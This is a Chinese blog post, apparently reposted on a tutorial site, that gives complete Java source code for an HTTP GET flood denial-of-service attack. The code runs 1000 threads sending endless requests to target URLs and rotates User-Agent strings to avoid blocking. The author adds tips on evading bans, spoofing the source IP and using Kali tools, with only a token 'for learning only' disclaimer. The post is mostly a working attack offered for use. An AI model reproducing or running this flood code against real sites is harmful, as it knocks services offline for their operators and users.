大家好,很高兴再次与大家见面,我是你们的朋友全栈君。
拒绝服务攻击(DoS攻击)的具体原理在这里就不再赘述。
我这里展示的是用Java实现的DoS攻击示例代码。不过,我建议大家使用Python来编写这种类型的脚本,因为Python更适合这类任务。以下代码仅供学习参考,请勿用于非法活动。
package dos;import java.net.HttpURLConnection;import java.net.URL;import java.net.URLConnection;import java.util.ArrayList;import java.util.Random;import java.util.concurrent.ExecutorService;import java.util.concurrent.Executors;
/**
DoS攻击
立即学习“Java免费学习笔记(深入)”;
@author q
*/public class Test {/**
- 输入开启的线程数量*/private static final int MAX_THREAD = 1000;
/**
- 输入你想攻击的网址*/private static final String URL1 = "https://www.php.cn/link/46235a3abdd04841af13c4d768f13c21";private static final String URL2 = "https://www.php.cn/link/f4270981241d67e6251acf2dd3e5f403";
private static ArrayList userAgentsList;
public static void main(String[] args) {userAgentsList = new ArrayList();insertUserAgent();attack(URL1);attack(URL2);}
/**
- GET请求攻击*/private static void attack(String url) {ExecutorService ex = Executors.newFixedThreadPool(MAX_THREAD);for (int i = 0; i < MAX_THREAD; i++) {ex.execute(new Thread() {@Overridepublic void run() {while (true) {sendGet(url);}}});}}
private static void sendGet(String url) {try {URL urlObj = new URL(url);URLConnection connection = urlObj.openConnection();HttpURLConnection httpURLConnection = (HttpURLConnection) connection;httpURLConnection.setRequestMethod("GET");httpURLConnection.setRequestProperty("Connection", "keep-alive");httpURLConnection.setRequestProperty("Cache-Control", "max-age=0");httpURLConnection.setRequestProperty("Upgrade-Insecure-Requests", "1");httpURLConnection.setRequestProperty("Accept-Charset", "zh-CN,zh;q=0.9");httpURLConnection.setRequestProperty("Content-Type", "application/text");httpURLConnection.setRequestProperty("User-Agent", selectUserAgent());httpURLConnection.connect();int code = httpURLConnection.getResponseCode();if (httpURLConnection.getResponseCode() >= 300) {throw new Exception("请求未成功,响应代码为 " + code);} else {System.out.println("请求成功,响应代码为 " + code);}} catch (Exception e) {// 异常处理}}
private static String selectUserAgent() {Random random = new Random();int i = random.nextInt(userAgentsList.size());return userAgentsList.get(i);}
private static void insertUserAgent() {userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.95");userAgentsList.add("Mozilla/5.0 (Windows NT 5.1; U; en; rv:1.8.1) Gecko/20061208 Firefox/2.0.0 Opera 9.50");userAgentsList.add("Mozilla/5.0 (X11; U; Linux x86_64; zh-CN; rv:1.9.2.10) Gecko/20100922 Ubuntu/10.10 (maverick) Firefox/3.6.10");userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/534.57.2 (KHTML, like Gecko) Version/5.1.7");userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/39.0.2171.71");userAgentsList.add("Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US) AppleWebKit/534.16 (KHTML, like Gecko)");userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/30.0.1599.101");userAgentsList.add("Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.1 (KHTML, like Gecko) Chrome/21.0.1180.71");userAgentsList.add("Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; QQDownload 732; .NET4.0C; .NET4.0E)");userAgentsList.add("Mozilla/5.0 (Linux; U; Android 2.2.1; zh-cn; HTC_Wildfire_A3333 Build/FRG83D) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");userAgentsList.add("Opera/9.80 (Android 2.3.4; Linux; Opera Mobi/build-1107180945; U; en-GB) Presto/2.8.149 Version/11.10");userAgentsList.add("Mozilla/5.0 (hp-tablet; Linux; hpwOS/3.0.0; U; en-US) AppleWebKit/534.6 (KHTML, like Gecko) wOSBrowser/233.70 Safari/534.6 TouchPad/1.0");userAgentsList.add("Mozilla/5.0 (compatible; MSIE 9.0; Windows Phone OS 7.5; Trident/5.0; IEMobile/9.0; HTC; Titan)");userAgentsList.add("Mozilla/5.0 (iPad; U; CPU OS 4_2_1 like Mac OS X; zh-cn) AppleWebKit/533.17.9 (KHTML, like Gecko) Version/5.0.2 Mobile/8C148 Safari/6533.18.5");userAgentsList.add("AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1");}}
注意事项:
虽然我使用了User-Agent列表来混淆对方,从而在一定程度上避免被封禁,但这并不是伪造源IP的方法。如果对方决心追查你,无论如何你都会被发现。不过,我想到另一种方法,即在数据包层面上修改源IP地址,这样虽然无法接收到回包,但可以达到攻击效果。以后有时间可以尝试一下,或者直接使用Kali Linux中的工具。

如您对本文有任何疑问或想分享您的看法,请点击进行留言回复,广大网友会为您解答!
发布者:全栈程序员栈长,转载请注明出处:https://www.php.cn/link/8ef039111659408c7f4b3d6c4a9d4563 原文链接:https://www.php.cn/link/c8377ad2a50fb65de28b11cfc628d75c
以上就是dos命令运行java代码_如何制作ddos攻击的详细内容,更多请关注创想鸟其它相关文章!
版权声明:本文内容由互联网用户自发贡献,该文观点仅代表作者本人。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。
如发现本站有涉嫌抄袭侵权/违法违规的内容, 请发送邮件至 chuangxiangniao@163.com 举报,一经查实,本站将立刻删除。
发布者:程序猿,转转请注明出处:https://www.chuangxiangniao.com/p/391809.html
微信扫一扫
支付宝扫一扫